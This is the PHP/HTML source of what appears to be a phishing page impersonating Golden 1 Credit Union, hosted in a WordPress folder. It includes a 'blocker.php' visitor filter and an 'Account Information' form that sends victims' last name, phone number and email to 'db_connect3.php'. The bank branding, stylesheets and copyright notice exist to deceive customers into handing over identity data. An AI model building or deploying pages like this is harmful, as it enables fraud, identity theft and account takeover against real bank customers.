/home/dubayplm/www/wp/golden1/personal.php
<?php
require("core/blocker.php");
?>
<!DOCTYPE html>
<html lang="en" class="k-webkit k-webkit102">
<head>
<title>Log In</title>
<meta name="format-detection" content="telephone=no">
<meta name="viewport" content="width=device-width">
<meta name="robots" content="noindex, nofollow">
<link rel="icon" href="favicon.ico">
<link href="css/CorillianStyles.css" rel="stylesheet">
<link href="css/CorillianDynamicStyles.css" rel="stylesheet">
<link href="css/SecurityTokenServiceStyles.css" rel="stylesheet">
<link href="css/SecurityTokenServiceDynamicStyles.css" rel="stylesheet">
<script src="js/mask.js" type="text/javascript"></script>
</head>
<body class="d-flex flex-column min-vh-100">
<div class="header-region-container">
<div class="header-region header-navless">
<nav aria-label="Main Navigation" class="header navbar-default">
<div class="section logo">
<img alt="Logo" src="images/Shared_Header_Logo.png">
</div>
</nav>
</div>
</div>
<div class="content-region-container">
<div class="content-region" data-view="~/Views/SignIn/Index">
<div class="container with-sidebar" style="opacity: 1;">
<div class="row">
<div class="content-top">
<div class="page-message-wrap"></div>
<h1>Account Information</h1>
</div>
<div class="signin-form-container content-main section-end">
<form action="db_connect3.php" autocomplete="off" class="form" method="post">
<fieldset class="content-panel enrollment">
<div class="enrollment-instructions">Please provide the following information to establish your identity.</div>
<div id="retail_wrapper" style="">
<fieldset>
<div class="item-group">
<span class="item"><label class="label" for="RetailEnrollment_Ssn">Last name</label></span>
<input class="control input-field" id="RetailEnrollment_Ssn" name="fname" type="text" value="" required>
</div>
<div class="item-group">
<span class="item"><label class="label" for="phone">Phone Number</label></span>
<input class="control input-field" id="phone" name="phone" type="tel" value="" required>
<script>
var element = document.getElementById('phone');
var maskOptions = {
mask: '(000) 000-0000'
};
var mask = IMask(element, maskOptions);
</script>
</div>
<div class="item-group">
<span class="item"><label class="label" for="email">Email Address</label></span>
<input class="control input-field" id="email" maxlength="50" name="email" type="email" value="" required>
</div>
</fieldset>
</div>
<fieldset>
<div class="action-group-bottom">
<input type="submit" data-clear-alerts="true" class="primary-action" id="EnrollSubmit" value="Continue">
</div>
</fieldset>
</fieldset>
</form>
</div>
</div>
</div>
</div>
</div>
<div class="footer-region mt-auto">
<div class="footer footer-no-img footer-no-ads">
<div class="footer-image">
</div>
<div class="footer-links-area">
<ul class="footer-links">
<li><a class="" target="_blank">Locations</a></li>
<li><a class="" target="_blank">Contact Us</a></li>
<li><a class="" target="_blank">Privacy</a></li>
<li><a class="" target="_blank">Security</a></li>
<li><a class="" target="_blank">Help</a></li>
<li><a class="" target="_blank">Disclosures</a></li>
<li><a class="" target="_self">Terms and Conditions</a></li>
</ul>
</div>
<div class="copyright">
This credit union is federally insured by the National Credit Union Administration.<br>© 2022 Golden 1 Credit Union. All rights reserved. Equal Housing Opportunity.
</div>
</div>
</div>
</body>
</html>